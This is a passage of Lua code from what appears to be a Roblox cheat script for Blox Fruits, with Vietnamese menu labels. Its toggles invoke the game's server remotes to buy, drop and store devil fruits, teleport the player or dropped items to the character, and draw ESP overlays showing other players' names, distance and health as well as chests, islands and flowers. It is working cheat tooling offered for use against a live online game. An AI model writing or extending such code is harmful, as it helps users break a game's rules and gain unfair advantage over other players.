Main\_UiStroke.Thickness = 1

Main\_UiStroke.Name = ""

Main\_UiStroke.Parent = TitleFrame

Main\_UiStroke.ApplyStrokeMode = Enum.ApplyStrokeMode.Border

Main\_UiStroke.LineJoinMode = Enum.LineJoinMode.Round

Main\_UiStroke.Color = Color3.fromRGB(255, 255, 255)

Main\_UiStroke.Transparency = 0

TitleFrame:TweenSizeAndPosition(UDim2.new(0, 250-10, 0, 70), UDim2.new(0.5, 0, 0.5,0), "Out", "Back", 0.3, true)

local ConnerTitile = Instance.new("UICorner")

ConnerTitile.CornerRadius = UDim.new(0, 4)

ConnerTitile.Name = "ConnerTitile"

ConnerTitile.Parent = TitleFrame

local imagenoti = Instance.new("ImageLabel")

imagenoti.Name = "imagenoti"

imagenoti.Parent = TitleFrame

imagenoti.AnchorPoint = Vector2.new(0.5, 0.5)

imagenoti.BackgroundColor3 = Color3.fromRGB(255, 255, 255)

imagenoti.Position = UDim2.new(0.135999978, 0, 0.5, 0)

imagenoti.Size = UDim2.new(0, 50, 0, 50)

imagenoti.BackgroundTransparency = 1

imagenoti.Image = "http://www.roblox.com/asset/?id="..tostring(logo)

local txdlid = Instance.new("TextLabel")

local LableFrame = Instance.new("Frame")

txdlid.Name = "txdlid"

txdlid.Parent = TitleFrame

txdlid.BackgroundColor3 = Color3.fromRGB(85, 170, 255)

txdlid.BackgroundTransparency = 1.000

txdlid.Position = UDim2.new(0.25, 0, 0.15, 0)

txdlid.Size = UDim2.new(0, 175, 0, 24)

txdlid.Font = Enum.Font.LuckiestGuy

txdlid.TextColor3 = Color3.fromRGB(85, 170, 255)

txdlid.TextSize = 13.000

txdlid.Text = text

txdlid.TextXAlignment = Enum.TextXAlignment.Left

LableFrame.Name = "LableFrame"

LableFrame.Parent = TitleFrame

LableFrame.AnchorPoint = Vector2.new(0.5, 0.5)

LableFrame.BackgroundColor3 = Color3.fromRGB(255, 255, 255)

LableFrame.BackgroundTransparency = 1.000

LableFrame.Position = UDim2.new(0.625999987, 0, 0.620000005, 0)

LableFrame.Size = UDim2.new(0, 175, 0, 25)

local TextNoti = Instance.new("TextLabel")

TextNoti.Name = "TextNoti"

TextNoti.Parent = LableFrame

TextNoti.Active = true

TextNoti.BackgroundColor3 = Color3.fromRGB(255, 255, 255)

TextNoti.BackgroundTransparency = 1.000

TextNoti.Size = UDim2.new(0, 175, 0, 25)

TextNoti.Font = Enum.Font.GothamBlack

TextNoti.Text = text2

TextNoti.TextScaled = true

TextNoti.TextColor3 = Color3.fromRGB(255, 255, 255)

TextNoti.TextSize = 12.000

TextNoti.TextXAlignment = Enum.TextXAlignment.Left

repeat wait() until TitleFrame.Size == UDim2.new(0, 250-10, 0, 70)

local Time = Instance.new("Frame")

local UICorner = Instance.new("UICorner")

local UIPadding = Instance.new("UIPadding")

Time.Name = "Time"

Time.Parent = TitleFrame

Time.Active = true

Time.BackgroundColor3 = Color3.fromRGB(85, 170, 255)

Time.BorderSizePixel = 0

Time.Position = UDim2.new(0.0320000015, 0, 0.870000005, 0)

Time.Size = UDim2.new(0, 236, 0, 3)

UICorner.Parent = Time

UICorner.CornerRadius = UDim.new(0, 7)

UICorner.Name = ""

UIPadding.Parent = NotiFrame

UIPadding.PaddingLeft = UDim.new(0, 15)

UIPadding.PaddingTop = UDim.new(0, 15)

TweenService:Create(

Time,

TweenInfo.new(tonumber(delays), Enum.EasingStyle.Linear, Enum.EasingDirection.InOut),

{Size = UDim2.new(0, 0, 0, 3)} -- UDim2.new(0, 128, 0, 25)

):Play()

delay(tonumber(delays),function()

TweenService:Create(

imagenoti,

TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut),

{ImageTransparency = 1} -- UDim2.new(0, 128, 0, 25)

):Play()

TweenService:Create(

TextNoti,

TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut),

{TextTransparency = 1} -- UDim2.new(0, 128, 0, 25)

):Play()

TweenService:Create(

txdlid,

TweenInfo.new(0.2, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut),

{TextTransparency = 1} -- UDim2.new(0, 128, 0, 25)

):Play()

wait(0.3)

TweenService:Create(

TitleFrame,

TweenInfo.new(0.4, Enum.EasingStyle.Quart, Enum.EasingDirection.InOut),

{Size = UDim2.new(0, 0, 0, 70)} -- UDim2.new(0, 128, 0, 25)

):Play()

wait(0.3)

TitleFrame:Destroy()

end

)

end

DiscordLib:Notification("Thông Báo" , "Nhân Phẩm Đã Lên 1000%" , 10 ,11816162894 )

end)

DevilFruit:Button("Quay Fruit",function()

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("Cousin","Buy")

end)

DevilFruit:Toggle("Tự Động Vất Fruit",\_G.DropFruit,function(value)

\_G.DropFruit = value

end)

spawn(function()

while wait() do

if \_G.DropFruit then

pcall(function()

for i,v in pairs(game:GetService("Players").LocalPlayer.Backpack:GetChildren()) do

if string.find(v.Name, "Fruit") then

EquipWeapon(v.Name)

wait(.1)

if game:GetService("Players").LocalPlayer.PlayerGui.Main.Dialogue.Visible == true then

game:GetService("Players").LocalPlayer.PlayerGui.Main.Dialogue.Visible = false

end

EquipWeapon(v.Name)

game:GetService("Players").LocalPlayer.Character:FindFirstChild(SelectFruit).EatRemote:InvokeServer("Drop")

end

end

for i,v in pairs(game:GetService("Players").LocalPlayer.Character:GetChildren()) do

if string.find(v.Name, "Fruit") then

EquipWeapon(v.Name)

wait(.1)

if game:GetService("Players").LocalPlayer.PlayerGui.Main.Dialogue.Visible == true then

game:GetService("Players").LocalPlayer.PlayerGui.Main.Dialogue.Visible = false

end

EquipWeapon(v.Name)

game:GetService("Players").LocalPlayer.Character:FindFirstChild(SelectFruit).EatRemote:InvokeServer("Drop")

end

end

end)

end

end

end)

DevilFruit:Toggle("Tự Động Cất Fruit",\_G.AutoStoreFruit,function(value)

\_G.AutoStoreFruit = value

end)

function DropFruit()

pcall(function()

game.Players.LocalPlayer.PlayerGui.Main.FruitInventory.Position = UDim2.new(10.100, 0, 0.100, 0) -- HideUi

game.Players.LocalPlayer.PlayerGui.Main.FruitInventory.Visible = true -- เปิดไว้ถึงจะเช็คได้

local invenfruit = game.Players.LocalPlayer.PlayerGui.Main.FruitInventory.Container.Stored.ScrollingFrame.Frame

wait(.3)

for i,v in pairs(invenfruit:GetChildren()) do

if string.find(v.Name,"-") then

for \_,Backpack in pairs(game:GetService("Players").LocalPlayer.Backpack:GetChildren()) do

FruitStoreF = string.split(Backpack.Name, " ")[1]

FruitStoreR = FruitStoreF.."-"..FruitStoreF

if v.Name == FruitStoreR then

game:GetService("Players").LocalPlayer.Backpack:FindFirstChild(Backpack.Name):Destroy()

end

end

end

end

for i,v in pairs(invenfruit:GetChildren()) do

if string.find(v.Name,"-") then

for \_,Character in pairs(game:GetService("Players").LocalPlayer.Character:GetChildren()) do

FruitStoreF = string.split(Character.Name, " ")[1]

FruitStoreR = FruitStoreF.."-"..FruitStoreF

if v.Name == FruitStoreR then

game:GetService("Players").LocalPlayer.Character:FindFirstChild(Character.Name):Destroy()

end

end

end

end

end)

end

spawn(function()

while wait() do

if \_G.AutoStoreFruit then

pcall(function()

DropFruit()

wait()

if game:GetService("Players").LocalPlayer.Character:FindFirstChild("Bomb Fruit") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Bomb Fruit") then

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("StoreFruit","Bomb-Bomb",game:GetService("Players").LocalPlayer.Character:FindFirstChild("Bomb Fruit") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Bomb Fruit"))

end

if game:GetService("Players").LocalPlayer.Character:FindFirstChild("Spike Fruit") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Spike Fruit") then

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("StoreFruit","Spike-Spike",game:GetService("Players").LocalPlayer.Character:FindFirstChild("Spike Fruit") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Spike Fruit"))

end

if game:GetService("Players").LocalPlayer.Character:FindFirstChild("Chop Fruit") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Chop Fruit") then

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("StoreFruit","Chop-Chop",game:GetService("Players").LocalPlayer.Character:FindFirstChild("Chop Fruit") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Chop Fruit"))

end

if game:GetService("Players").LocalPlayer.Character:FindFirstChild("Spring Fruit") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Spring Fruit") then

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("StoreFruit","Spring-Spring",game:GetService("Players").LocalPlayer.Character:FindFirstChild("Spring Fruit") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Spring Fruit"))

end

if game:GetService("Players").LocalPlayer.Character:FindFirstChild("Kilo Fruit") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Kilo Fruit") then

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("StoreFruit","Kilo-Kilo",game:GetService("Players").LocalPlayer.Character:FindFirstChild("Kilo Fruit") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Kilo Fruit"))

end

if game:GetService("Players").LocalPlayer.Character:FindFirstChild("Smoke Fruit") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Smoke Fruit") then

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("StoreFruit","Smoke-Smoke",game:GetService("Players").LocalPlayer.Character:FindFirstChild("Smoke Fruit") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Smoke Fruit"))

end

if game:GetService("Players").LocalPlayer.Character:FindFirstChild("Spin Fruit") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Spin Fruit") then

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("StoreFruit","Spin-Spin",game:GetService("Players").LocalPlayer.Character:FindFirstChild("Spin Fruit") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Spin Fruit"))

end

if game:GetService("Players").LocalPlayer.Character:FindFirstChild("Flame Fruit") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Flame Fruit") then

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("StoreFruit","Flame-Flame",game:GetService("Players").LocalPlayer.Character:FindFirstChild("Flame Fruit") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Flame Fruit"))

end

if game:GetService("Players").LocalPlayer.Character:FindFirstChild("Bird: Falcon Fruit") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Bird: Falcon Fruit") then

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("StoreFruit","Bird-Bird: Falcon",game:GetService("Players").LocalPlayer.Character:FindFirstChild("Bird: Falcon Fruit") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Bird: Falcon Fruit"))

end

if game:GetService("Players").LocalPlayer.Character:FindFirstChild("Ice Fruit") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Ice Fruit") then

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("StoreFruit","Ice-Ice",game:GetService("Players").LocalPlayer.Character:FindFirstChild("Ice Fruit") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Ice Fruit"))

end

if game:GetService("Players").LocalPlayer.Character:FindFirstChild("Sand Fruit") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Sand Fruit") then

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("StoreFruit","Sand-Sand",game:GetService("Players").LocalPlayer.Character:FindFirstChild("Sand Fruit") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Sand Fruit"))

end

if game:GetService("Players").LocalPlayer.Character:FindFirstChild("Dark Fruit") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Dark Fruit") then

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("StoreFruit","Dark-Dark",game:GetService("Players").LocalPlayer.Character:FindFirstChild("Dark Fruit") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Dark Fruit"))

end

if game:GetService("Players").LocalPlayer.Character:FindFirstChild("Revive Fruit") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Revive Fruit") then

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("StoreFruit","Revive-Revive",game:GetService("Players").LocalPlayer.Character:FindFirstChild("Revive Fruit") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Revive Fruit"))

end

if game:GetService("Players").LocalPlayer.Character:FindFirstChild("Diamond Fruit") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Diamond Fruit") then

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("StoreFruit","Diamond-Diamond",game:GetService("Players").LocalPlayer.Character:FindFirstChild("Diamond Fruit") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Diamond Fruit"))

end

if game:GetService("Players").LocalPlayer.Character:FindFirstChild("Light Fruit") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Light Fruit") then

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("StoreFruit","Light-Light",game:GetService("Players").LocalPlayer.Character:FindFirstChild("Light Fruit") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Light Fruit"))

end

if game:GetService("Players").LocalPlayer.Character:FindFirstChild("Love Fruit") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Love Fruit") then

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("StoreFruit","Love-Love",game:GetService("Players").LocalPlayer.Character:FindFirstChild("Love Fruit") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Love Fruit"))

end

if game:GetService("Players").LocalPlayer.Character:FindFirstChild("Rubber Fruit") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Rubber Fruit") then

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("StoreFruit","Rubber-Rubber",game:GetService("Players").LocalPlayer.Character:FindFirstChild("Rubber Fruit") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Rubber Fruit"))

end

if game:GetService("Players").LocalPlayer.Character:FindFirstChild("Barrier Fruit") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Barrier Fruit") then

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("StoreFruit","Barrier-Barrier",game:GetService("Players").LocalPlayer.Character:FindFirstChild("Barrier Fruit") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Barrier Fruit"))

end

if game:GetService("Players").LocalPlayer.Character:FindFirstChild("Magma Fruit") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Magma Fruit") then

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("StoreFruit","Magma-Magma",game:GetService("Players").LocalPlayer.Character:FindFirstChild("Magma Fruit") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Magma Fruit"))

end

if game:GetService("Players").LocalPlayer.Character:FindFirstChild("Door Fruit") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Door Fruit") then

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("StoreFruit","Door-Door",game:GetService("Players").LocalPlayer.Character:FindFirstChild("Door Fruit") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Door Fruit"))

end

if game:GetService("Players").LocalPlayer.Character:FindFirstChild("Quake Fruit") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Quake Fruit") then

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("StoreFruit","Quake-Quake",game:GetService("Players").LocalPlayer.Character:FindFirstChild("Quake Fruit") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Quake Fruit"))

end

if game:GetService("Players").LocalPlayer.Character:FindFirstChild("Human-Human: Buddha Fruit") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Human-Human: Buddha Fruit") then

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("StoreFruit","Human-Human: Buddha",game:GetService("Players").LocalPlayer.Character:FindFirstChild("Human-Human: Buddha Fruit") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Human-Human: Buddha Fruit"))

end

if game:GetService("Players").LocalPlayer.Character:FindFirstChild("String Fruit") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("String Fruit") then

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("StoreFruit","String-String",game:GetService("Players").LocalPlayer.Character:FindFirstChild("String Fruit") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("String Fruit"))

end

if game:GetService("Players").LocalPlayer.Character:FindFirstChild("Bird: Phoenix Fruit") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Bird: Phoenix Fruit") then

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("StoreFruit","Bird-Bird: Phoenix",game:GetService("Players").LocalPlayer.Character:FindFirstChild("Bird: Phoenix Fruit") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Bird: Phoenix Fruit"))

end

if game:GetService("Players").LocalPlayer.Character:FindFirstChild("Rumble Fruit") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Rumble Fruit") then

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("StoreFruit","Rumble-Rumble",game:GetService("Players").LocalPlayer.Character:FindFirstChild("Rumble Fruit") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Rumble Fruit"))

end

if game:GetService("Players").LocalPlayer.Character:FindFirstChild("Paw Fruit") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Paw Fruit") then

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("StoreFruit","Paw-Paw",game:GetService("Players").LocalPlayer.Character:FindFirstChild("Paw Fruit") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Paw Fruit"))

end

if game:GetService("Players").LocalPlayer.Character:FindFirstChild("Gravity Fruit") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Gravity Fruit") then

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("StoreFruit","Gravity-Gravity",game:GetService("Players").LocalPlayer.Character:FindFirstChild("Gravity Fruit") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Gravity Fruit"))

end

if game:GetService("Players").LocalPlayer.Character:FindFirstChild("Dough Fruit") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Dough Fruit") then

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("StoreFruit","Dough-Dough",game:GetService("Players").LocalPlayer.Character:FindFirstChild("Dough Fruit") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Dough Fruit"))

end

if game:GetService("Players").LocalPlayer.Character:FindFirstChild("Shadow Fruit") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Shadow Fruit") then

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("StoreFruit","Shadow-Shadow",game:GetService("Players").LocalPlayer.Character:FindFirstChild("Shadow Fruit") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Shadow Fruit"))

end

if game:GetService("Players").LocalPlayer.Character:FindFirstChild("Venom Fruit") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Venom Fruit") then

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("StoreFruit","Venom-Venom",game:GetService("Players").LocalPlayer.Character:FindFirstChild("Venom Fruit") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Venom Fruit"))

end

if game:GetService("Players").LocalPlayer.Character:FindFirstChild("Control Fruit") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Control Fruit") then

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("StoreFruit","Control-Control",game:GetService("Players").LocalPlayer.Character:FindFirstChild("Control Fruit") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Control Fruit"))

end

if game:GetService("Players").LocalPlayer.Character:FindFirstChild("Dragon Fruit") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Dragon Fruit") then

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("StoreFruit","Dragon-Dragon",game:GetService("Players").LocalPlayer.Character:FindFirstChild("Dragon Fruit") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Dragon Fruit"))

end

if game:GetService("Players").LocalPlayer.Character:FindFirstChild("Leopard Fruit") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Leopard Fruit") then

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("StoreFruit","Leopard-Leopard",game:GetService("Players").LocalPlayer.Character:FindFirstChild("Leopard Fruit") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Leopard Fruit"))

end

end)

end

end

end)

DevilFruit:Toggle("Tele Fruit Bọn Nó Vất Ra",\_G.BringFruit,function(value)

\_G.BringFruit = value

pcall(function()

while \_G.BringFruit do wait(.1)

for i,v in pairs(game:GetService("Workspace"):GetChildren()) do

if v:IsA("Tool") then

local OldCFrame = game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame

game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame = v.Handle.CFrame \* CFrame.new(0,0,8)

v.Handle.CFrame = game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame

wait(.1)

game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame = OldCFrame

end

end

end

end)

end)

DevilFruit:Toggle("Lụm Fruit Spawm",false,function(value)

\_G.Grabfruit = value

end)

spawn(function()

while wait(.1) do

if \_G.Grabfruit then

for i,v in pairs(game.Workspace:GetChildren()) do

if string.find(v.Name, "Fruit") then

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = v.Handle.CFrame

end

end

end

end

end)

-- DevilFruit:Toggle("Bring All Fruit 75% Kick System",\_G.BringFruitBF,function(value)

--\_G.BringFruitBF = value

-- end)

spawn(function()

while wait() do

if \_G.BringFruitBF then

pcall(function()

for i,v in pairs(game.Workspace:GetChildren()) do

if v:IsA("Tool") then

v.Handle.CFrame = game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame

end

end

end)

end

end

end)

function isnil(thing)

return (thing == nil)

end

local function round(n)

return math.floor(tonumber(n) + 0.5)

end

Number = math.random(1, 1000000)

function UpdateEspPlayer()

for i,v in pairs(game:GetService'Players':GetChildren()) do

pcall(function()

if not isnil(v.Character) then

if ESPPlayer then

if not isnil(v.Character.Head) and not v.Character.Head:FindFirstChild('NameEsp'..Number) then

local bill = Instance.new('BillboardGui',v.Character.Head)

bill.Name = 'NameEsp'..Number

bill.ExtentsOffset = Vector3.new(0, 1, 0)

bill.Size = UDim2.new(1,200,1,30)

bill.Adornee = v.Character.Head

bill.AlwaysOnTop = true

local name = Instance.new('TextLabel',bill)

name.Font = "Code"

name.FontSize = "Size14"

name.TextWrapped = true

name.Text = (v.Name ..' \n'.. round((game:GetService('Players').LocalPlayer.Character.Head.Position - v.Character.Head.Position).Magnitude/3) ..' M')

name.Size = UDim2.new(1,0,1,0)

name.TextYAlignment = 'Top'

name.BackgroundTransparency = 1

name.TextStrokeTransparency = 0.5

if v.Team == game.Players.LocalPlayer.Team then

name.TextColor3 = Color3.new(0,255,0)

else

name.TextColor3 = Color3.new(255,0,0)

end

else

v.Character.Head['NameEsp'..Number].TextLabel.Text = (v.Name ..' '.. round((game:GetService('Players').LocalPlayer.Character.Head.Position - v.Character.Head.Position).Magnitude/3) ..' M\nHealth : ' .. round(v.Character.Humanoid.Health\*100/v.Character.Humanoid.MaxHealth) .. '%')

end

else

if v.Character.Head:FindFirstChild('NameEsp'..Number) then

v.Character.Head:FindFirstChild('NameEsp'..Number):Destroy()

end

end

end

end)

end

end

function UpdateIslandESP()

for i,v in pairs(game:GetService("Workspace")["\_WorldOrigin"].Locations:GetChildren()) do

pcall(function()

if IslandESP then

if v.Name ~= "Sea" then

if not v:FindFirstChild('NameEsp') then

local bill = Instance.new('BillboardGui',v)

bill.Name = 'NameEsp'

bill.ExtentsOffset = Vector3.new(0, 1, 0)

bill.Size = UDim2.new(1,200,1,30)

bill.Adornee = v

bill.AlwaysOnTop = true

local name = Instance.new('TextLabel',bill)

name.Font = "Code"

name.FontSize = "Size14"

name.TextWrapped = true

name.Size = UDim2.new(1,0,1,0)

name.TextYAlignment = 'Top'

name.BackgroundTransparency = 1

name.TextStrokeTransparency = 0.5

name.TextColor3 = Color3.fromRGB(80, 245, 245)

else

v['NameEsp'].TextLabel.Text = (v.Name ..' \n'.. round((game:GetService('Players').LocalPlayer.Character.Head.Position - v.Position).Magnitude/3) ..' M')

end

end

else

if v:FindFirstChild('NameEsp') then

v:FindFirstChild('NameEsp'):Destroy()

end

end

end)

end

end

function UpdateChestEsp()

for i,v in pairs(game.Workspace:GetChildren()) do

pcall(function()

if v.Name == "Chest1" or v.Name == "Chest2" or v.Name == "Chest3" then

if ChestESP then

if (v.Name == "Chest1" or v.Name == "Chest2" or v.Name == "Chest3") and (v.Position - game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 60000 then

if not v:FindFirstChild("ChestESP"..Number) then

local Bb = Instance.new("BillboardGui", v)

Bb.Name = "ChestESP"..Number

Bb.ExtentsOffset = Vector3.new(0, 1, 0)

Bb.Size = UDim2.new(1, 200, 1, 30)

Bb.Adornee = v

Bb.AlwaysOnTop = true

local Textlb = Instance.new("TextLabel", Bb)

Textlb.Font = "Code"

Textlb.FontSize = "Size14"

Textlb.Size = UDim2.new(1,0,1,0)

Textlb.BackgroundTransparency = 1

Textlb.TextStrokeTransparency = 0.5

if v.Name == "Chest1" then

Textlb.TextColor3 = Color3.fromRGB(174, 123, 47)

Textlb.Text = "Bronze Chest".."\n"..math.round((v.Position - game:GetService('Players').LocalPlayer.Character.HumanoidRootPart.Position).Magnitude/3).." m."

end

if v.Name == "Chest2" then

Textlb.TextColor3 = Color3.fromRGB(255, 255, 127)

Textlb.Text = "Gold Chest".."\n"..math.round((v.Position - game:GetService('Players').LocalPlayer.Character.HumanoidRootPart.Position).Magnitude/3).." m."

end

if v.Name == "Chest3" then

Textlb.Text = "Diamond Chest".."\n"..math.round((v.Position - game:GetService('Players').LocalPlayer.Character.HumanoidRootPart.Position).Magnitude/3).." m."

Textlb.TextColor3 = Color3.fromRGB(5, 243, 255)

end

else

v["ChestESP"..Number].TextLabel.Text = v.Name.."\n"..math.round((v.Position - game:GetService('Players').LocalPlayer.Character.HumanoidRootPart.Position).Magnitude/3).." m."

end

end

else

if v:FindFirstChild("ChestESP"..Number) then

v:FindFirstChild("ChestESP"..Number):Destroy()

end

end

end

end)

end

end

function UpdateBfEsp()

for i,v in pairs(game:GetService("Workspace"):GetChildren()) do

pcall(function()

if DevilFruitESP then

if string.find(v.Name, "Fruit") then

if not v.Handle:FindFirstChild('NameEsp'..Number) then

local bill = Instance.new('BillboardGui',v.Handle)

bill.Name = 'NameEsp'..Number

bill.ExtentsOffset = Vector3.new(0, 1, 0)

bill.Size = UDim2.new(1,200,1,30)

bill.Adornee = v.Handle

bill.AlwaysOnTop = true

local name = Instance.new('TextLabel',bill)

name.Font = "Code"

name.FontSize = "Size14"

name.TextWrapped = true

name.Size = UDim2.new(1,0,1,0)

name.TextYAlignment = 'Top'

name.BackgroundTransparency = 1

name.TextStrokeTransparency = 0.5

name.TextColor3 = Color3.fromRGB(255, 0, 0)

name.Text = (v.Name ..' \n'.. round((game:GetService('Players').LocalPlayer.Character.Head.Position - v.Handle.Position).Magnitude/3) ..' M')

else

v.Handle['NameEsp'..Number].TextLabel.Text = (v.Name ..' \n'.. round((game:GetService('Players').LocalPlayer.Character.Head.Position - v.Handle.Position).Magnitude/3) ..' M')

end

end

else

if v.Handle:FindFirstChild('NameEsp'..Number) then

v.Handle:FindFirstChild('NameEsp'..Number):Destroy()

end

end

end)

end

end

function UpdateFlowerEsp()

for i,v in pairs(game:GetService("Workspace"):GetChildren()) do

pcall(function()

if v.Name == "Flower2" or v.Name == "Flower1" then

if FlowerESP then

if not v:FindFirstChild('NameEsp'..Number) then

local bill = Instance.new('BillboardGui',v)

bill.Name = 'NameEsp'..Number

bill.ExtentsOffset = Vector3.new(0, 1, 0)

bill.Size = UDim2.new(1,200,1,30)

bill.Adornee = v

bill.AlwaysOnTop = true

local name = Instance.new('TextLabel',bill)

name.Font = "Code"

name.FontSize = "Size14"

name.TextWrapped = true

name.Size = UDim2.new(1,0,1,0)

name.TextYAlignment = 'Top'

name.BackgroundTransparency = 1

name.TextStrokeTransparency = 0.5

name.TextColor3 = Color3.fromRGB(255, 0, 0)

if v.Name == "Flower1" then

name.Text = ("Blue Flower" ..' \n'.. round((game:GetService('Players').LocalPlayer.Character.Head.Position - v.Position).Magnitude/3) ..' M')

name.TextColor3 = Color3.fromRGB(255, 0, 0)

end

if v.Name == "Flower2" then

name.Text = ("Red Flower" ..' \n'.. round((game:GetService('Players').LocalPlayer.Character.Head.Position - v.Position).Magnitude/3) ..' M')

name.TextColor3 = Color3.fromRGB(255, 0, 0)

end

else

v['NameEsp'..Number].TextLabel.Text = (v.Name ..' \n'.. round((game:GetService('Players').LocalPlayer.Character.Head.Position - v.Position).Magnitude/3) ..' M')

end

else

if v:FindFirstChild('NameEsp'..Number) then

v:FindFirstChild('NameEsp'..Number):Destroy()

end

end

end

end)

end

end

DevilFruit:Seperator(" ESP ")

if World2 then

DevilFruit:Button("Tp Hoa Đỏ",function()

for i,v in pairs(game.Workspace:GetDescendants()) do

if v.Name == "Flower2" then

topos(v.CFrame)

end

end

end)

